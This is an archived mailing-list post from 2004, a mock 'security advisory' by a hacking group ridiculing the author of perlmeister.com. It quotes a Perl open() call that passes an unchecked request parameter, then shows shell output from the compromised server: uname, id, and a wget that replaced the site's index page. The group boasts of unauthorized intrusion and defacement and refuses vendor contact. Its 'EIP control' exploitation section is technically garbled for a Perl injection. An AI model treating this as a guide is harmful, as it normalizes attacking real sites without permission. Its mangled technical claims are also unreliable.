[Full-Disclosure] WtPHS Security Advisory 0x02

[<wtphs@xxxxxxxxxxxx>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

                      .--------------------------------.
                    -[ Winnie the Pooh Hacking Squadron ]-
                      '---| Security Advisory 0x02 |---'


                               ..xx..
                           xn8888888888888hnnnnnnnns   ...
                       .n8888888888888#     #8888888Lx88888.
                      x8888888888888f    .ued8888888888888*8
                    .88888888888888f   z8888888888888888" .`.
                   :88888888888888E  z88888888888888888F @$ L
       xn8.        **8888888888888E d8888"""t8888888888 <$F $
     :888888hnx....xH8888888888888Fd888f z$b`8888888888b `  8L
     X888(*88888888888888888888888V8888'.$$S,888888F#"`"`  ^"*=
     `8888c #88888888888888888888888888 3$F  388F" uu*   .uuuu. ?c
      "88888c '"*****888888888888888888,?$   38Lu$RF .ed888888$  88o
       ^*88888be   x88888888888888888888,"  .28888F d888888888F 4888E
          "***"  x88888888888888888888888888888888L'*8**88888$  ."88*-
 _.>=-
               :888888888888888888888888888888888* .      "#"  dR  ..o
              d8888888888888888888888888888888888 :88888bnx  \d88N *""=-
- -=--
            .*\8888888888888888888**********"***  888888888  48888 d$$
             :88888888888P**" ...z8nnnn8ene .    ""?3888888  d888f ^""-
 . _
              8888888888Lnn888888888888888+*"   ue888888888  8888~ 85"
             d888888888888888888888888F"  ued8k ?88F888888f  **#` :8f
             888888888888888888888F"  uod888888-   d888*"      .ud8@
             'F988888888888888F"  .od888888F"`.8e         4$F d888P
             '  88888888888"  .ud8888888F` ud8888b  uod$F $P X888#
                `888888P"  .e88888888P" .n8888888" @$$$$ dP  8*"
             .u. ^888F  ud888888888# .n8888888888  $$$$    :#
          ue8888.  ` .e888888888F" x8888888888888 '""
       ud8888888F    "*8888888" .d88888888888888888bee*`
    xd88888888F u@8e.    ``""  ******88888888888*3@*"
  .d88888888F z$RR8888beu   ...uuueeed$888**""Le$#
 z88888888P e$R88888888# .d88888888**#"***5RRR8P
888888888888888888888* u88888888..eeeeeeeu.^#8f



          Software: www.perlmeister.com
           Version: up to Last modified at Sun May 2 01:03:01 2004
     Vulnerability: Author
        Found date: March 2004
      Release date: today
       Researchers: Winnie The Pooh Hacking Squadron
   Favourite drink: Black label

[0] LICENSE

    1) No whitehat whore can use this in his pseudo-security work
    2) divineint can't trade exploit attached to this advisory on
       #darknet@efnet nor other lame channel (for people who don't
       know it yet - his new nick is illumanti(z), is he hidding ?!)
    3) Every hacker can implement exploit for this vuln in his
       codes to protect them from script kiddies and whitehats.
    5) WtPHS doesn't contact vendors


[1] INTRO

     Mike has written 99 uber informative perl howto's, that have been
     printed in some issues of the German mags IX and LINUX Magazin.
     Moreover he's the author of Goto-Perl5 published by Addison-Wesley.
     Maybe that's why his domain is called perlmeister... Unfortunately
     Mike seems not to have a clue about securing his perl scripts.

[2] Details

     In "jphtml"Perlmeister uses the open function w/o checking for dangerous
     content:

     [...]
      open FILE, "$DATDIR/" . param('f') or
     [...]
     The 'f' parameter can have arbitrary values.

[3] Exploitation

     Our goal here was to get control over the EIP register. Once EIP
is under
     control we can run any desired command. So our attack buffer loocks
as
     follows:

                  buffer[|desired_command|];

     We however used the builtin exploiting capabilities of konqueror.


[4] EDUCATIONAL VALUE

     Even Perl <masters> write buggly code.


[5] IMPACT

     uname -a
     Linux sprite 2.4.25 #9 SMP Wed Feb 18 21:01:52 PST 2004 i686 unknown
     id
     uid=1212(perlmeis) gid=1212(perlmeis) groups=1212(perlmeis),110(compile)
     .
     .
     wget x.x.x/index.html -O ./index.html
     .
     etc



[7] DISCLOSURE TIMELINE

    2/5/2004 Bug disclosed on perlmeister.com [How I was hacked by WtPHS]
             => www.perlmeister.com/advisory.txt
    3/5/2004 Modification noticed / Bug corrected
             => www.perlmeister.com/advisory.txt defaced by vendor
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkCYfIwACgkQJLOqzu1mkg/4+QCeJEr2GlCzZmJRW+1Rm6PtI41tjTAA
oIroBTMi2GdZp1bkUMvyVI5Rn8Yi
=ELgz
-----END PGP SIGNATURE-----




Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
https://www.hushmail.com/services.php?subloc=messenger&l=434

Promote security and make money with the Hushmail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html